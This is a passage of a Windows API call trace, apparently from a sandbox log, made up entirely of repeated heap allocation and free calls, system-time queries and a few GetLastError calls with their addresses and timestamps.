dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cde60, dwHighDateTime=0x1d595b2)) [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cde60, dwHighDateTime=0x1d595b2)) [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d0570, dwHighDateTime=0x1d595b2)) [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d0570, dwHighDateTime=0x1d595b2)) [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.418] GetLastError () returned 0x578 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.418] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d0570, dwHighDateTime=0x1d595b2)) [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d0570, dwHighDateTime=0x1d595b2)) [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.419] GetLastError () returned 0x578 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.419] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.419] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.420] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.420] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.420] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d2c80, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d5390, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9d7aa0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9da1b0, 